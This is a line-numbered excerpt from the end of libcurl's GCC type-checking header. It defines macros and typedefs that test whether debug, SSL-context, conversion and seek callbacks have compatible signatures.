539 | #define _curl_is_debug_cb(expr) \
540 | (_curl_is_NULL(expr) || \
541 | __builtin_types_compatible_p(__typeof__(expr), curl_debug_callback) || \
542 | _curl_callback_compatible((expr), _curl_debug_callback1) || \
543 | _curl_callback_compatible((expr), _curl_debug_callback2) || \
544 | _curl_callback_compatible((expr), _curl_debug_callback3) || \
545 | _curl_callback_compatible((expr), _curl_debug_callback4) || \
546 | _curl_callback_compatible((expr), _curl_debug_callback5) || \
547 | _curl_callback_compatible((expr), _curl_debug_callback6) || \
548 | _curl_callback_compatible((expr), _curl_debug_callback7) || \
549 | _curl_callback_compatible((expr), _curl_debug_callback8))
550 | typedef int (_curl_debug_callback1) (CURL *,
551 | curl_infotype, char *, size_t, void *);
552 | typedef int (_curl_debug_callback2) (CURL *,
553 | curl_infotype, char *, size_t, const void *);
554 | typedef int (_curl_debug_callback3) (CURL *,
555 | curl_infotype, const char *, size_t, void *);
556 | typedef int (_curl_debug_callback4) (CURL *,
557 | curl_infotype, const char *, size_t, const void *);
558 | typedef int (_curl_debug_callback5) (CURL *,
559 | curl_infotype, unsigned char *, size_t, void *);
560 | typedef int (_curl_debug_callback6) (CURL *,
561 | curl_infotype, unsigned char *, size_t, const void *);
562 | typedef int (_curl_debug_callback7) (CURL *,
563 | curl_infotype, const unsigned char *, size_t, void *);
564 | typedef int (_curl_debug_callback8) (CURL *,
565 | curl_infotype, const unsigned char *, size_t, const void *);
566 |
567 | /* evaluates to true if expr is of type curl_ssl_ctx_callback or "similar" */
568 | /* this is getting even messier... */
569 | #define _curl_is_ssl_ctx_cb(expr) \
570 | (_curl_is_NULL(expr) || \
571 | __builtin_types_compatible_p(__typeof__(expr), curl_ssl_ctx_callback) || \
572 | _curl_callback_compatible((expr), _curl_ssl_ctx_callback1) || \
573 | _curl_callback_compatible((expr), _curl_ssl_ctx_callback2) || \
574 | _curl_callback_compatible((expr), _curl_ssl_ctx_callback3) || \
575 | _curl_callback_compatible((expr), _curl_ssl_ctx_callback4) || \
576 | _curl_callback_compatible((expr), _curl_ssl_ctx_callback5) || \
577 | _curl_callback_compatible((expr), _curl_ssl_ctx_callback6) || \
578 | _curl_callback_compatible((expr), _curl_ssl_ctx_callback7) || \
579 | _curl_callback_compatible((expr), _curl_ssl_ctx_callback8))
580 | typedef CURLcode (_curl_ssl_ctx_callback1)(CURL *, void *, void *);
581 | typedef CURLcode (_curl_ssl_ctx_callback2)(CURL *, void *, const void *);
582 | typedef CURLcode (_curl_ssl_ctx_callback3)(CURL *, const void *, void *);
583 | typedef CURLcode (_curl_ssl_ctx_callback4)(CURL *, const void *, const void *);
584 | #ifdef HEADER_SSL_H
585 | /* hack: if we included OpenSSL's ssl.h, we know about SSL_CTX
586 | * this will of course break if we're included before OpenSSL headers...
587 | */
588 | typedef CURLcode (_curl_ssl_ctx_callback5)(CURL *, SSL_CTX, void *);
589 | typedef CURLcode (_curl_ssl_ctx_callback6)(CURL *, SSL_CTX, const void *);
590 | typedef CURLcode (_curl_ssl_ctx_callback7)(CURL *, const SSL_CTX, void *);
591 | typedef CURLcode (_curl_ssl_ctx_callback8)(CURL *, const SSL_CTX,
592 | const void *);
593 | #else
594 | typedef _curl_ssl_ctx_callback1 _curl_ssl_ctx_callback5;
595 | typedef _curl_ssl_ctx_callback1 _curl_ssl_ctx_callback6;
596 | typedef _curl_ssl_ctx_callback1 _curl_ssl_ctx_callback7;
597 | typedef _curl_ssl_ctx_callback1 _curl_ssl_ctx_callback8;
598 | #endif
599 |
600 | /* evaluates to true if expr is of type curl_conv_callback or "similar" */
601 | #define _curl_is_conv_cb(expr) \
602 | (_curl_is_NULL(expr) || \
603 | __builtin_types_compatible_p(__typeof__(expr), curl_conv_callback) || \
604 | _curl_callback_compatible((expr), _curl_conv_callback1) || \
605 | _curl_callback_compatible((expr), _curl_conv_callback2) || \
606 | _curl_callback_compatible((expr), _curl_conv_callback3) || \
607 | _curl_callback_compatible((expr), _curl_conv_callback4))
608 | typedef CURLcode (*_curl_conv_callback1)(char *, size_t length);
609 | typedef CURLcode (*_curl_conv_callback2)(const char *, size_t length);
610 | typedef CURLcode (*_curl_conv_callback3)(void *, size_t length);
611 | typedef CURLcode (*_curl_conv_callback4)(const void *, size_t length);
612 |
613 | /* evaluates to true if expr is of type curl_seek_callback or "similar" */
614 | #define _curl_is_seek_cb(expr) \
615 | (_curl_is_NULL(expr) || \
616 | __builtin_types_compatible_p(__typeof__(expr), curl_seek_callback) || \
617 | _curl_callback_compatible((expr), _curl_seek_callback1) || \
618 | _curl_callback_compatible((expr), _curl_seek_callback2))
619 | typedef CURLcode (*_curl_seek_callback1)(void *, curl_off_t, int);
620 | typedef CURLcode (*_curl_seek_callback2)(const void *, curl_off_t, int);
621 |
622 |
623 | #endif /* __CURL_TYPECHECK_GCC_H */
624 |
--------------------------------------------------------------------------------